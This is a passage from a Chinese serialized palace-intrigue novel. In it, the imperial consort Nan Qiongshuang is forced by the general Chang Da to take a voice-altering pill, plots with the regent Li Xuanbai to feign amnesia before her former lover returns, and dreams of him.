他没答话,手上蓄力一剜,她一见他蓄力,惊得跳过去,别住他的胳膊。 他沉默着被她拦下,不反抗,也不挣扎,像个木偶似的,由她摆弄。 脖子还是被割开了。血直着往下、往下,缓缓地,披了他半个身子。 他不在乎,抖得厉害的是她。 “不是说过,如果你死,我们一起吗。”他右脸也垂下一道红泪,“不准我去,你在哪呢。” “我活着!”她声嘶力竭,才发现早已泪流满面,“好好活着!你听好了,顾怀瑾,好好活着!” 梦醒的时候,正是半夜,安神香灭了,金猊已冷。 她大睁开眼睛,才发现竟然泪流成河,流进耳窝里,冰凉的,潮湿得令人心烦意乱。 她并不常常梦见他。最初的半年,对外说着忘了放了,但梦里还常常相见,可是日子一久,就当真梦不到了。 如今,就算梦里相见,也不敢认了。 那个鬼一般的影子,怎么会是当年暮雪院的落花下,陪她饮酒对弈的人。 她什么都不愿想,头又开始痛起来,如今她比从前更难入睡,睡得也更浅,一旦惊醒,整夜便睡不了了。 那一夜,她一个人在榻上抱着膝熬过来。 第二天,嘉庆帝照例要她陪。——他头风发作,要她陪,不发作,也要她陪。 她梳妆完了,用完早膳,急急赶到紫宸殿里去。 嘉庆帝不上朝。当年常达扶他上位,一是因为他母亲是常宝妍,二是因为他纵情享乐,无心天下,唯好六博、马吊与樗蒲。 紫宸殿里没人。王让也不在。王让的徒弟小准子毕恭毕敬地回她的话,说皇上用了早膳,直奔笑乐园。 笑乐园,是嘉庆帝为打牌下棋玩骰子,专门在紫禁城内设的赌厅。 到了笑乐园内,清涟替她拨开珠帘,她一进去,就见一张四四方方的雕漆红木桌旁,已经坐了三个人,桌上一张长条形的大棋盘,五木摇得震天响。 见她来了,嘉庆帝连理也没理。 正掷着五木的人,是齐国公之子,李景泰。 李景泰虽说是开国大将之后,于兵法却并无什么造诣,是齐宋首屈一指的骰子将军、促织宰相、樗蒲元帅。 对面,是苦哈哈赔笑的王茂行。 她一见这阵营,便觉得有意思。王茂行是个文人,这时候,本应在大殿里上朝的,不想,圣恩缠身,朝也上不成,大早上的,穿着朝服,被皇上拉来玩樗蒲。 远香替她解下外披,她看着棋盘,自然在嘉庆帝身旁落了座。 嘉庆帝紧紧盯着被抛上空中的五木,伸出手来与她相握。 五木落地,抓着她的手骤然一紧,攥得她有点痛。 “白雉满天!白雉满天!”嘉庆帝瞅了一眼,嘴咧得下巴快脱臼,笑得出不了声,拍着手掌,“王相!王相好手气!” 樗蒲的玩法,若五个木片全是白面朝上,便要罚停一轮。 对面,王茂行一张老脸冷汗纵横,仿佛一颗结了霜的干枣。 南琼霜略带怜悯之意地看了他一眼。年近古稀的人了,七十年来,他最会抛的,是自己的头颅。——伺候这么一位君主,跟抛脑袋玩也没区别。 “皇上,微臣愚钝,此等游戏,老臣实在是不擅长。倘若皇上真想要人作陪,不如等顾先生——” “何出此言。”嘉庆帝见怪地磕了磕棋子,他平日手气也极臭,非有个更臭的在眼前,他才平衡,“顾先生人称黑衣宰相,王相是紫衣宰相。同是宰相,有何高下之分?” 王茂行未待回复,另一边李景泰的五木又抛上了空,嘉庆帝如见着了耗子的猫一般躬身瞪眼。 五木落地,鸦雀无声。 李景泰一阵拍掌大笑,“卢!王大人的气运,今日莫不是全在小人这儿了!” 棋盘上,上中下三路,已经有一路接近终点。李景泰拿起自己的棋子,在那最得意的一路,又进了一步棋。 卢可连掷,再掷,又是雉。 嘉庆帝的脸已经扭曲得仿佛酸倒了牙,李景泰是毫无顾忌,嵌玉宝扇哗一声抽开又哗一声收起,抱拳,“小人承让。” 胜负已分,嘉庆帝冷哼一声。 叫王茂行来,是因为看他玩好玩。叫李景泰来,是因为他会玩。 但是,太会玩了,就不好玩了。 “小事。”嘉庆帝抿了口茶,“不就是同朕讨个官儿么?朕准了便罢了。” 嘉庆帝玩樗蒲,赌得很大,动辄以官职庄园为赌注。 王茂行:“皇上,若要入朝为官,不论如何,面上需从科举上走,这……” 嘉庆帝握着她的手,略微紧了紧。 “朕说了,给景泰兄一个官儿,就给景泰兄一个官儿。偌大个齐宋,莫非朕还输不起了?何况景泰兄祖上乃是开国元帅,当年立下从龙之功,朕要封他,谁敢多言?” 王茂行冷汗涔涔,低下脑袋,“若只是小官,便也罢,但盐使司都转运使一职乃是从三品,以臣愚见,此事还需待顾先生回来一同商议。” 嘉庆帝忽而将手里象牙棋子往棋盘上狠狠一掷: “朕说了要封、要封!谁敢妄议!?” “皇上。” 未待面如菜色的王茂行蹦出一个字,门口却已站了一人。 来人红光满面,膀大腰圆,一圈络腮胡,黑眼仁极小,刷白的眼珠子,不消出汗,面上已是油亮。 方才还凶戾的嘉庆帝倏地转为敬重,起身相迎:“常大将军。” 南琼霜入宫时日还不算久,这是头一次亲眼见着传闻中的常大将军,常达。 常达两三步跨进来,步子迈得虎虎生风,径直逼近嘉庆帝身前。 既不跪拜,更不叩头,拱着手,若有似无地略弯了腰。 嘉庆帝被他直视着,后退了半步,忽而扭头,语气又凶戾起来,对牌桌旁的人道,“出去!都出去!” 李景泰喏喏跑了。 王茂行趁机夹起尾巴开溜,被嘉庆帝一口叼回来:“下去,草拟诏书!” 南琼霜颔首起身,推开椅子刚走了两步,嘉庆帝在她背后道:“爱妃去哪?陪着朕。” 她无法,伸手与嘉庆帝朝她伸出来的手相牵,又坐回了嘉庆帝身侧。 常达不待嘉庆帝赐座,撩摆自己坐在嘉庆帝身侧,岔开腿,两手放在膝上: “臣今日来,乃是为吾妹琳妍。” 嘉庆帝脸色倏地沉下来,瞥开眼神。 南琼霜叹了口气。 她就知道,当日叫晟贵妃在紫宸殿前罚跪,只可泄一时之愤,到头来,常达必定找上门来。 “前些日子,琳妍为珍妃娘娘换针医治之事,固然是琳妍考虑不周,然而琳妍也是为了娘娘好。琳妍对娘娘一向恭敬,对皇上一片绵绵爱慕之心,臣不知何罪之有,需罚她雨中跪上三个时辰。” “大将军,朕当日不过罚了她两个时辰,余下的时辰,是她自己愿意跪的。德音被她下毒暗害,昏厥了两三天,朕小惩大诫,难道不应该吗?” “据臣所知,琳妍并不是有意陷害娘娘,是听从了宫人流言,误以为娘娘的体质刚巧合适夹竹桃花液,方调换了娘娘的银针。”常达一拱手,瞪起眼睛,“调换银针,颇为不易,琳妍怕娘娘不准,费尽心力出此下策,结果如何暂且不论,是为娘娘贵体安康啊。” 这话听得她笑了起来,“既然夹竹桃花液这样好,她怎么不在自己身上先试试?” 常达万没料到她竟敢插话,虎目瞪她一瞬,那眼神如有万钧,压在她头上。 那意思是,皇上亦不过一个黄毛小儿,你个小小宫妃,也配多嘴? “珍妃娘娘当真是牙尖嘴利。”他睨着她,那小眼仁恨不得在她身上钻出两个窟窿似的,“看来是身子大好了,琳妍无心之过,自此也再无追究的道理。” “此事,琳妍亦有错,臣虽护妹心切,也不愿皇上为难。”他一拱手,声如洪钟,“只要琳妍在雨中跪了多久,珍妃娘娘亦在雨中跪多久,跪了之后,亲自去安仁宫中向琳妍道歉,此事便算了结。” “大将军,你做事莫要太过分了。”一激动,嘉庆帝的脑子又尖利地痛起来,揉着太阳穴,阴厉不耐,“这些日子,朕也有些想念晟贵妃,过些日子,会常常去看她。大将军请回吧。” “回?琳妍来信,信中心碎难抑,纸上泪痕斑斑,不得皇上一句允准,臣如何安心回去?” “容朕再想想。”顾怀瑾临走之前,曾告诫嘉庆帝,若常达气势汹汹地找上门来,便拿出拖字诀,“何况近日京中无雨,想跪也跪不得,容朕再想想。” “娘娘体质虚寒,晴空万里、烈日当头,尤其适合娘娘静心。若皇上肯允准,琳妍雨天长跪所受的湿冷之苦,臣也肯宽宏大量,不再追究。” 这话,快骑嘉庆帝头上了。 果然,嘉庆帝嘶着气,攥住她的手,龇牙咧嘴,“德音,朕的头又开始痛了——” “王让,”她急急往门外唤,“传太医!”一面 对常达颔首,“大将军,皇上龙体不适,还望大将军——” “皇上同珍妃娘娘倒真是伉俪情深啊。”常达冷笑,吹得胡子动了起来,“臣只可惜,臣那可怜的妹妹,一片丹心错付。珍妃娘娘入宫,才多少时日,竟已经得圣上偏爱至此。当真是狐媚惑主,叫皇上连多年夫妻恩情都忘了。敢问皇上,难道是想将江山栽在这女人手里不成!” 最后一句话,意有所指的太明显,何止是威胁。 “大将军究竟想朕怎样!”嘉庆帝痛起来,便失控,歇斯底里地尖叫着跺脚,“想叫德音跪,朕陪着跪!朕发着头风陪德音跪!大将军不就想看朕如此吗?!叫群臣百官看着朕与德音跪着,给大将军赔罪,成不成!” 嘉庆帝一尖叫,外头候着的宫人齐齐进来护驾求情,王茂行冒了个头,哆哆嗦嗦地挪进来,原来他担忧皇上应付不了常达,再怕也在外头侯着。 他身上正一品官员的大紫色朝服仍未褪,年近古稀,鬓边花白,对着乌发油亮的常达,白发人跪黑发人,深深一拜。 “大将军,皇上龙体抱恙,恳请常大将军允准皇上摆驾回紫宸殿。贵妃娘娘与珍妃娘娘的事,等皇上身子好了再议,也不迟啊。” 话已经说的如此卑微,常达却连搭理都懒得搭理。 “皇上身子不适?皇上身子整日不适。今日头也痛,明日头也痛,臣想替妹妹做个主,要等到何年何月,难道等到这妖女诞下龙嗣吗?!” 事已至此,傻子也明白,常达今日来,为的不是什么毛琳妍,是为给嘉庆帝一个下马威,将他已经折成两半的脊梁骨,再恶狠狠地,踏成四段。 今日,嘉庆帝不让步,常达绝不会善罢甘休。 “好!朕也跪!”嘉庆帝腾地起身,撞得身前牌桌翻倒,哗啦一声巨响,“朕去跪大将军!跪到大将军让朕起身!德音,起来!” 南琼霜万万没想到今日会如此发展,常达暴躁嗜杀,嘉庆帝平日懦弱,真发作起来是个疯子,两方都是疯狗,难道今日是齐宋亡国之日吗? 不料,常达却冷静了下来。 声音沉如古钟。 “皇上当真打算,跪臣吗?” 那眼神,阴鸷凶残无比。 发着疯的人,两股战战,清醒了。 “皇上。”常达一字一句,“珍妃娘娘,罚是不罚。” 嘉庆帝默了两刻,不再看她。 “罚。” “可是如今,只叫娘娘烈日罚跪,臣不大满意了。” 常达挑挑眉毛,胜券在握的狗熊一样,慢悠悠说话,“过些日子,那个国师要回来。据说是眼睛不好使,耳朵极好使,不仅猫狗鸟雀不得近前,连嗓音难以入耳的宫人,到他跟前,都得丧命。” 他呵呵笑,“皇上钟爱珍妃娘娘,宫宴时,定会命娘娘陪伴在侧。既然如此,微臣赠给娘娘一味药吧。” “凤鸣丸。” “服下一颗,便保娘娘,声若凤凰鸣啼,清脆悦耳,动人心弦。” 南琼霜看着那被王让托在手掌中的,圆溜溜的棕色药丸,捏紧了袖口。 这颗药丸,她甚至不必用银针验。 一定是毒。 第103章 “珍妃娘娘请吧。” 凤鸣丸被常达倒在王让手中。 王让尴尬托着那黑棕色的药丸,扭头看一眼嘉庆帝,再看一眼常达:“大将军,这……” 嘉庆帝沉着脸攥拳头,不说话。 南琼霜瞄了一眼常达的脸色。那黑熊一般的人,动怒的时候气喘如牛,一双下三白的眼睛,深深埋伏在浓密的眉毛底下,仿佛潜伏在密林中窥伺的野兽。 他今日,是非叫嘉庆帝知道,一个有二十万大军、且已经从川陕杀到京城门口的边将,跟一个头风严重、只知寻欢作乐的皇帝,究竟哪一边,拳头更硬。 不过。 他到底是只想吓唬嘉庆帝一下,叫他俯首帖耳,还是想借今日之事,将摊子整个挑了,亡了齐宋,换把椅子坐坐? 假如是后者,这颗药,她吃或不吃,结局都是一样。 南琼霜说不准。 嘉庆帝自然也说不准。 说不准的时候,疯帝下意识地依赖一个人。 顾止。 他不由想起他临走前,给他留下的一条妙计。 “等等。”嘉庆帝道,“朕头风发作,痛得厉害,无法陪将军说话。王让,去请摄政王过来。” 一间房内,是两头老虎更可怕些,还是一头老虎更可怕些? 一头老虎。 老虎吃人,不费吹灰之力,无需同仇敌忾。 老虎唯一怕的,是另一头老虎。 世间的事如此玄妙,有时药也是毒,有时毒也是药。 王让掉腚就嗖嗖跑了,知道今日之事非同小可,腿抡出了火星子。 常达如何会不知道疯帝打的什么算盘,奈何嘉庆帝既不应下,也不拒绝,咬死了一个拖字,说什么都说头痛,啊呀头晕,痛得要死了,一阵叫苦连天的哀鸣。 嚎得太密,常达没插上话。 不一会,得到了消息的李玄白匆匆放下手里的折子,披衣赶来。 他今日换了一身青莲紫窄袖修身锦袍,是他素来喜欢的利落剪裁,肩线平直,领口袖口拿金线刺了一圈驭云的龙,中间环腰一收,腰间一根玉带,愈发显出人高贵凌厉,宽肩窄腰,锐不可当。 他抱着肩膀,吊儿郎当地歪头躲过锦帘,进了笑乐园内,里头形势如此紧张,他第一句话是: “怎么,玩樗蒲没叫本王,是何居心?” 王茂行长叹一声,快哭了。 山上唯一一头可与常达撕咬一番的猛虎,为何言谈如此轻佻。当真可靠吗? 见他进来,疯帝与常达同时起身相迎。李玄白毋须人请,眼也没抬,径自走到坐北朝南的尊位,漫不经心将嘉庆帝拱走了,撩摆坐下。 南琼霜心里道,原来常达那时候不等赐座就坐下,已经很是恭敬。 李玄白曲起手指敲桌沿,骂王让:“上茶啊。”又招呼嘉庆帝:“坐啊。” 俨然一副主人态度。 往椅子里抱着肩膀一靠:“今日叫我来做什么?忙着呢,最好当真是有点要紧事。” 王茂行伏地跪拜:“常达大将军说,要为珍妃娘娘献上一味丸药。” 常达啜了口茶,他格外中意饮烫的,滚茶刚好合他的心意:“凤鸣丸,服下可令人的嗓 音如黄鹂鸟般悦耳,臣以为,该合娘娘的心意。” “这般好东西,怎么不先给贵妃姐姐?” 李玄白在身侧坐着,南琼霜也不怕火上浇油了,摇着团扇,似笑非笑。 “正因为是好东西,才要先奉给珍妃娘娘。” 常达一本正经,脸不红心不跳。 李玄白坐镇,嘉庆帝胆子也大了些许,得意笑了一声,“这倒不必。琳妍亦是我的爱妃,又有多年夫妻情分,奇珍之物,先给她才是。” 一个硬要送,一个不肯收,还先叫他自家人收。双方这样一推脱,李玄白当即心如明镜,连今天为何非要请他出来也一并猜到,什么也不必再往下听。 “哎哎哎。”他又敲着桌子,“你们是不是忘了谁。” 常达、嘉庆帝一齐狐疑看着他。 王茂行跪在地上,抬起头,年近古稀的人,满脸疑惑。 南琼霜一听他那语调,就知道准没好事。 “常大将军,我问你。”他把玩着樗蒲的棋子,“此等珍药,若要赠送,是否该按照地位尊卑,自高而低来赠。” 嘉庆帝一听,心里暗骂,这泼猴哪里是来救场的,是来搅局的,一颗毒药,不给他的爱妃,就直接送给他。 王茂行痛叹一声,用广袖遮住脸。 顾先生究竟何时回宫啊。 “若不按地位尊卑,是否该按需求强弱。”他笑,“先给最需要的人。” 一番话,说得在场所有人晕头转向。 “两种标准,最终都指向一个人。” 李玄白大拇指朝自己一指:“我。” 南琼霜听得受不了,扶额,装着很忙,啜了口茶,被烫了一下。 “这种好东西,连本王都还没试过呢,给谁?”他手掌朝拿着药的王让一摊,“给我。” “王爷,这药是使人声若黄鹂……” “对啊!”李玄白从腰间抽出一把宝扇,嗒地在目瞪口呆的常达面前一敲,“声若黄鹂,哪来的这种好东西!待本王成了一只黄鹂鸟,天天围着大将军,给大将军唱唱歌儿。” 南琼霜仰头看着天花板,用袖子掩唇,叹了一声。 不着调的家伙。 常达面色铁青。 王茂行虽然觉得难以理解,但仔细一想,似乎于嘉庆帝无害,默默低下头。 “怎么,”见常达不回答,李玄白拿着棋子在桌上磕,“常大将军舍不得。” “岂敢。”常达手往李玄白处一引,对王让道,“给摄政王。” 王让恭敬将那药丸奉了上去。李玄白摩挲着下巴,仔细打量。 南琼霜略微松了口气。 即便那药是毒,对面是李玄白,常达就无法逼他服下。 谁知李玄白食指挠着太阳穴,忽然道:“把刚才那个……”想了一刻,“本王在外面看见的那个……李景泰,是吧?把他给本王叫过来。” 众人齐齐一愣。 不一会,李景泰哭丧着一张脸,满脸衰气,被引了进来。原来他见常达来觐见嘉庆帝,怕形势有所变动,想挖点消息以早做准备,一直在笑乐园外头的石桌旁,假装喝茶,悄悄偷听。 叫他跑的时候没跑,眼下是想跑也跑不掉了。李景泰面如死灰跪下,头深深磕在地上,不敢起,“齐国公嗣子,恭请陛下圣安。” 未待嘉庆帝答话,李玄白手一抬:“起来。” 微抬下巴,“凤鸣丸赐李景泰。” 南琼霜听着,眉梢挑了挑。 倘若想试试那凤鸣丸究竟是否有毒,这李景泰确实是最佳的人选。家世显赫、纨绔子弟,有身份却无大用,无关一山二虎的形势,即便死了,也不至于危及大局。 李景泰哆哆嗦嗦地,眼看着那药丸,被呈上自己面前。 他素来娇生惯养着长大,是洛京里有名的公子哥儿,今日本只是来伺候嘉庆帝玩樗蒲,谁知竟碰上这种事,当场吓软了膝盖。 李玄白眼皮也没抬:“给他吃,别磨蹭。” 王让掐着李景泰的下巴,不顾他惊恐的挣扎呜咽,直接将那药丸塞进了他喉咙。 南琼霜窥了一眼常达的神色。 常达依旧岿然不动,面上一丝心虚紧张之意也无,面沉如水,默许李玄白拿李景泰试毒。 她绕着自己垂在胸前的长发,心里思忖,若说那药有毒,眼下他这反应,似乎太沉着了些;若是没毒,又为何非献给她不可? 李景泰终于被逼着将那药丸吞了下去,两手撑在地上,大声呛咳一阵,气喘吁吁。 再抬起头来,面色竟还正常,只是吓得魂飞魄散,眉毛被额上冷汗浇得湿淋淋的,脸上水光闪闪,不知是汗还是泪。 “臣谢,谢摄政王隆恩。” 南琼霜坐在圈椅里,略微往前探身,仔细看了看李景泰。 怎么,没死? 又等了一时片刻。 众人屏息。唯有李景泰心有余悸的粗喘,在赌房内起起伏伏。 常达似是毫无意外,垂眼端着茶盏,啜了一口,递到王让手上:“王公公,茶冷了。” 嘉庆帝如梦初醒,冷汗湿透掌心,才发现刚刚屏息凝神,憋得略微头晕,抓紧了身旁的南琼霜。 “德音。”他声音里是一种大难不死之后的虚弱和疲惫,“大将军今日没想你死,也没想亡朕的国。” 她感受到手心里嘉庆帝的汗,强抑着不适,泪水汪汪地回握他,眨巴眼睛,“快吓死臣妾了。” “原来,臣对娘娘的一片敬重爱护之心,摄政王竟疑心至此。”常达接过王让新递来的滚烫的茶盏,打开茶盖,就着混沌水汽呷了一口,“此番,敢问皇上和摄政王,是否还对微臣心存什么疑虑?” “何来疑虑之说。”李玄白笑起来,“想听听男人变黄鹂嗓子是什么声音。要是好听,本王也吃一颗,给大将军和皇上唱歌听听。” 对李景泰道:“下去吧。” “谢,谢摄政王……” 话一出口,满屋的人齐齐将目光投过来。 李景泰自己也意识到不对,掐着脖子,支支吾吾了半天,“皇上,皇上,臣的嗓子……” 他那嗓子,已经尖细娇媚,仿佛春鸟。 南琼霜:…… 满屋寂静之中,李玄白憋不住,噗嗤一声笑开。 “既然,齐国公之子已经试过,想必这药的效力,娘娘也已知晓了。”常达朝随侍在侧的小厮一颔首,那小厮当即会意,又捧出一只红木宝盒来,打开。 里面,竟然是颗一模一样的凤鸣丸。 “不知,娘娘可否愿意收下这一颗。” 南琼霜袖中的手,缓缓攥紧了。 为什么非要她吃这药?难道还真是为了叫她的嗓音更娇俏? 常达气势汹汹来替毛琳妍兴师问罪,怎么会献这种药给她。 不过。 电光石火的一瞬间,她忽然明白了。 或许是因为,顾怀瑾即日便要回来了,这种嗓音,如今他格外讨厌,常达想借顾怀瑾的手,杀她。 她若死了,得宠的便又是毛琳妍,毛琳妍背后就是常家。 原来是这么回事。 她唇角勾起一丝若有似无的笑,颔首,从善如流地将那药丸接过了,当着常达的面,放入口中。 李玄白和嘉庆帝全没料到她竟这样顺从,一时惊呆了,惊疑不定望着她。 她只是从容含笑。 真有趣。这些人,不知道顾怀瑾与她的渊源,还以为要借他之手杀她,非先改变了她的声音不可。 他们不知道,她原本的嗓音,就足够顾怀瑾暴起杀她。 她啜了口茶,将那药丸平静顺下去,对常达礼貌颔首,“多谢大将军挂怀。今日,大将军请回吧。” * “你非吃那药干什么?” 大明宫内,一墙风烛摇晃,明明灭灭。 李玄白捏着毛笔,小几上一摞摞奏折,摊得东倒西歪。 “就算没毒,怎么可能是什么好东西?我坐那,你不吃,谁敢真逼你吃?” “我不吃,这事不就没完了么。”如今她一把嗓子细得仿佛丝线,说得好听是脆甜,不好听便是尖利,她蛮不在乎地吃着荔枝,“李景泰试过了,没毒,有毒也不致死。还拿什么理由推脱?” “何况,”她笑起来,唇边一对浅浅的梨涡,“叫他听出我的声音,我也是死。还不如变了声音,赌一把。” “死?”李玄白摊开手,手指节敲着红木小几,敲得震天响,“我坐在那,谁敢叫你死?就凭他一个顾怀瑾?你当我是死人哪?” 话说得好听,谁知道你什么时候肯帮,什么时候不肯帮。南琼霜撩起眼皮,懒懒瞥他一眼。 “有什么大不了的。我回去服些暂时叫人失声的药,对外,就说常达那颗凤鸣丸有毒,栽赃他一手。” 明灯摇晃里,她抬起眼,眼底一点火星亮得惊人,笑着,在他唇畔递了一颗葡萄,“给常达扣个谋害后妃的罪名,也往摄政王手里递了个大将军的把柄。” “摄政王与大将军势如水火,”她凉凉笑了一声,脸孔掩在碧山绿丝绢团扇 后,歪头笑着,“摄政王感不感谢我?” 绢扇掩面,她那半张脸孔,幽暗又娇艳,瑰丽而狡黠。 他气得笑了一声,拿折扇磕着桌缘,“我就算想对付他,还非得你吃那颗毒药?非得你给我递什么把柄?你不给我递把柄,莫非我就束手无策了?” “说大话。”她懒洋洋地,靠在身后软枕上,“我失声,或许也会失宠。天底下没有免费的好处,所以,我若失宠,你得帮我。” “你是说,我不仅要看着你同那疯子卿卿我我,”李玄白笑,“那疯子冷落了你,我还得帮你争宠。” 她笑得眼睛弯弯:“对。” 他咬着牙嗤笑了一声,“还当真没有人敢这样骑在本王头上。” “我还是那句话。”她站起了身,浑不在意,理着袖摆,“摄政王看不惯我,就杀了我。” 说完,起身欲走。 “上哪去。” 她回过身来。 不知是否是她的错觉,重逢后,李玄白对她,似乎比从前用情更深了一点儿。 “你知不知道,那个姓顾的,马上就要回来了。” 她一愣。 “当日,你不是说,还有十天吗?算起来,至少也还要有五六天。” “又提前了,你那个疯子夫君离不开他,成天见儿的催。” 他将批完的折子顺手扔到一边,靠在罗汉床围子上,翘起二郎腿,“说是后天便要回来了。他回宫便要设宴,我今天刚吩咐下去,光禄寺正紧赶慢赶,忙得火烧眉毛呢。” 后天。 她垂下眼睛。 “这些年,他那个人,面目全非,早不是当年天山上你认识的那个人了。”他手指有一搭没一搭敲着桌面,“所以,有些事情,我还需提醒你点。” 第104章 “你知不知道,如今他管着飞鱼卫?” 飞鱼卫,是齐宋专事监视、搜查、逮捕、审讯的机构,拥有独立监狱,甚至可以绕过刑部、都察院和大理寺,直接受嘉庆帝控制。 “那疯子不问朝政,按理说,飞鱼卫该是我来管。不想,当初封我为摄政王时,那疯子独独把飞鱼卫攥在手里不肯放,又被常达从中作梗,到底是叫他捞着了。” 南琼霜笑得意味深长,“你是说,他如今专门管着许多细作?” “正是。”李玄白胳膊搭在围子上,“知道为什么那疯子非把飞鱼卫给他管吗?” “因为,他如今,最擅长用细作,训细作,抓细作,审细作。” 灯火里,南琼霜挑了挑眉,笑了。 “怎么?栽到我身上一把,成我同行了?” 李玄白见她语气仍然轻松,叹了口气: “你少不当回事。他如今,对付叛徒的手段,可不是开玩笑的。上回,飞鱼卫中有个双面细作,被他瞧出马脚来,抽了筋剥了皮,挂在南镇抚司门口,直接在日头底下曝晒成了腊肉。” 南琼霜耸耸肩。 同样的事,往生门只会做的更过分。 她轻飘飘搓了搓团扇柄,“他就算要剥我的皮给我吊城墙上,我也认。做我们这行的,这点觉悟还没有?你就这点要说的?” 李玄白看她那无所谓的样子,简直不敢相信她那柔弱外表下,竟然如此无所畏惧、看淡生死。 “还有一条。” 她叹了口气,扇了扇风,“你说。” “你知不知道,他如今会占卜?” 她一愣。 “占卜?” “占卜、谋划、机断、阴阳术数之学。他下山后,曾经在佛寺做过几年和尚,佛寺常常有云游的名士造访,他跟着学了些阴阳家的本领,开始问卜算卦。” 她明白了他的意思,但还是有点不敢相信,惊讶得笑了一声。 “你的意思是……” “我的意思是,”李玄白手一摊,“不管是他眼睛不好使了,还是你服了凤鸣丸。他只要抛个铜板起个卦,就能知道你是谁。” 她气笑了。人无奈到了极点的时候,真是会发笑的。 “他算得准?” “他算得准。”李玄白颔首,“常达那场急病,就是他先算着了,才出了放虎入山的计谋。所以,恐怕连我和常达会解盔卸甲入紫禁城,他都早知道。并且——” 他手忽然朝她一指:“——或许你在这,他早就知道了。” 她的心突地一跳。 不知是否是她的错觉,李玄白这句话一落,她的鼻尖底下,似乎就萦绕了些……她熟悉的气息。 她曾经最习惯的,他的枕头、衾被、寝衣和颈窝的气息。 顾怀瑾的气息。 她鸡皮疙瘩密密起了一身。 “所以,我建议你,别装失声,”他道,“装失忆吧。” 她揉着太阳穴,听了他这话,睁开眼睛,“失忆?” “就说,是清河谢氏当年走失的女儿,后来阴差阳错,回了谢家,完全失了忆,不知道此前发生过什么。”他道,“谢氏我去打点。” 这个法子,或许不是不行。 “如此,即便他烧龟甲、抛铜板,只要你一口咬定失了忆,连你自己都不知道你做过什么,他能拿你如何。” “何况,背靠清河谢氏、又有皇上庇佑?”她意味深长地笑着接。 “正是。” 南琼霜抱着肩膀,慢条斯理地拿团扇扇着风。缓而轻的风,丝丝缕缕拂在她脸上,吹得她发丝慢悠悠地微扬。 “有点意思。”她拈着团扇柄,眼尾弯弯,“那就这么办吧。他回来那天,皇上设宴,倘若宴上,我没有血溅当场,安然无恙地回宫——” 拿着团扇,笑盈盈朝李玄白一指,“此事,就多亏了摄政王大人。” 那颗凤鸣丸后,她嗓音格外婉甜,又有意奉承他,听得他心里一跳。 这蛇蝎心肠的女子,竟也会说好话捧人啊。 他嗤笑一声。 “记住,你从前那些习惯,什么喜洁、怕冷、喜清淡、忌荤腥,统统改一遍。” 她挑眉毛一笑,有点惊讶,“你记得倒还挺清楚。” 他不理会她的揶揄,手指敲了敲桌面,一双狐狸眼,映着粼粼烛火,仿佛志在必得: “既然你要我帮你,事成之后,怎么报答我。” 闻言,她垂眸想了一瞬。 而后转着手腕,将那碧山绿荷蝶丝绢团扇,点在下巴上,笑: “……王爷。还是先事成,再说吧。” * 回了菡萏宫,远香早已替她备好了洗面的热水和敷面的香膏。 她坐在妆镜前,任清涟帮她解着钗饰。 “娘娘时常拜访摄政王,可得小心着点。人多眼杂,若是被人瞧见……” “每次我去,他都特意将附近的侍卫撤去。”窗外蝉鸣啾啾,她乏了,声音恹恹,“何况,阖宫谁敢招惹摄政王。皇上如此势弱,该仰仗谁,站谁的队,人人清楚。即便被人瞧见,嘉庆帝也是最后一个知道的。” 远香:“只是,千万别叫那常大将军知道。” 夜深了,菡萏宫中只点了几根蜡烛,烛火在镜中飘摇晃动。 她默了一瞬,“你说的是。” 她不愿再想,打了个哈欠,眼 皮重重垂下来。 自从在大明宫内,听了李玄白那句,“或许他早知道你在这呢”,她的心就一直七上八下地跳。 如果被他找到了,会怎样? 顾怀瑾。 有多久不见了。五年有余了。 遥远得,仿佛是上辈子的事了。有时她真的会想,那些在天山上相拥着入眠的日子,真的不是梦吗? 假如不是梦,怎么连一丝痕迹都没有了。 他完全从她的生活里消失了。那个从前跟她抵着额头、磨蹭眉毛的人,要她有什么事对他说、连死也要跟她一起死的人,完完全全地,从她的世界里消失了。 故人已是故人,即便相见,彼此都已千疮百孔、面目全非,绝不能再相认。 远香替她将钗饰全部除下,细细拿玉梳替她篦着头发。她看着那温润发亮的玉梳,心里想。 那一年乞巧,他们用一把玉梳,将两人的头发梳作一束,算作结发。 但是。 都是刻舟求剑,不必再想了。 倘若相认,必是相杀。 夜里,她却做了一个梦。 梦里,她如一个溺水的人,身不由己地被波浪推迭着起伏,一浪、一浪、又是一浪,波动的天花板,几乎摇花了她的眼睛。 他不说话。这么久没见,他一句话也没有,只是喘。 他的身体挡住了一切。除了天花板,她什么也看不见。 脖子汗淋淋的。喉结滚动着。还有他的青筋。 还是那一根,同样的位置。每次他愤怒、失控或者动情,就会迸出来的,粗壮的青筋。 她伸出手,才发现掌心汗湿得惊人,胳膊也酸痛。 迷茫地,微微颤抖,在他那根青筋上,摸了摸。 他感觉到了,喟叹着,热气焦躁地喷在她脸上,俯下身来吻她。 花蕊被一寸寸捅穿,从花冠一直深入到花萼里。 他的睫毛和鼻梁遮住她所有视野之前,她身上的酸胀感逼得她咬住嘴唇之前,她看见了。 如今,那根青筋旁边,一颗小小的黑痣。 看不见他的脸,只有他的叹息: “皎皎……” 一滴水,嘀嗒一声,砸破水面。 她骤然惊醒,发觉是梦。 浑身烧得滚烫。在薄薄的衾被里,烧得仿佛要自燃了似的。 身体似乎意犹未尽,她有点难堪。但是她人,怕得厉害,寂静的深更里,止不住地发抖。 皎皎。又是这个名字。 谁是楚皎皎? 就连做这种事时,他都不清楚她的名字。 她拥着衾被坐起身来。夜色寒凉,点着的安神香已经熄了,外面月色亮得白铮铮的,蝉鸣欢快,一阵高过一阵。 这样的夜里,如何还睡得着? “醒了?”雾刀的声音。 她笑,“你大半夜的不睡觉?” “睡得少嘛。不然怎么干得了教引,不熬死了。” “什么事?” “门里的消息,有话叫我传给你。” 她静静听着。 “公孙红要你协助。” 公孙红是她极乐堂的同僚。生得娇艳妩媚,擅弹琵琶,芍药花般的一个人。 “她如今潜伏在常达身侧,但尚不是常达的妾,只在将军府中,扮了个乐伎。” “常达有个儿子,名唤常忠,是个好色之徒。她有意勾引这个常忠,拿他做一步棋。不想,这人性子太急躁,渐渐不大受她的控制,快将摊子整个掀了。” 她听到这里,就知道这个公孙红要拜托她什么,冷笑一声。 “所以,她说,要你勾勾这个常忠,免得他整日缠着她,找她的麻烦。” “帮不了。”她打了个哈欠,“没点本事,别出任务,少拖别人下水。” 雾刀咯咯笑了一阵,也不劝,“我就知道你会这么说。” 她连理都懒得理,躺回枕头上,裹紧了衾被。 “就这么回她。” 那一晚,虽然是又躺下了,可是再也没有睡着。 